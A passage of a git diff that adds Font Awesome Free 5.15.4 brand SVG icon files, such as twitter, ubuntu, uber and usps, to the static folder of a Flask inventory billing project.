5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitter-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitter-square.svg new file mode 100644 index 00000000..1e6a6c27 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitter-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitter.svg new file mode 100644 index 00000000..f44967a5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/typo3.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/typo3.svg new file mode 100644 index 00000000..7448c146 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/typo3.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uber.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uber.svg new file mode 100644 index 00000000..ddbac5ff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uber.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ubuntu.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ubuntu.svg new file mode 100644 index 00000000..19704b4d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ubuntu.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uikit.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uikit.svg new file mode 100644 index 00000000..dcee6600 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uikit.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/umbraco.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/umbraco.svg new file mode 100644 index 00000000..267e5fd6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/umbraco.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 510 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uncharted.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uncharted.svg new file mode 100644 index 00000000..291f70da --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uncharted.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uniregistry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uniregistry.svg new file mode 100644 index 00000000..232d437a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/uniregistry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/unity.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/unity.svg new file mode 100644 index 00000000..612159d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/unity.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/unsplash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/unsplash.svg new file mode 100644 index 00000000..661fc094 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/unsplash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/untappd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/untappd.svg new file mode 100644 index 00000000..82d32c51 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/untappd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ups.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ups.svg new file mode 100644 index 00000000..ba8fdf9a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ups.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/usb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/usb.svg new file mode 100644 index 00000000..adc7dc37 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/usb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/usps.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/usps.svg new file mode 100644 index 00000000..372522bb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/usps.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ussunnah.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ussunnah.svg new file mode 100644 index 00000000..9cf0634a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ussunnah.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 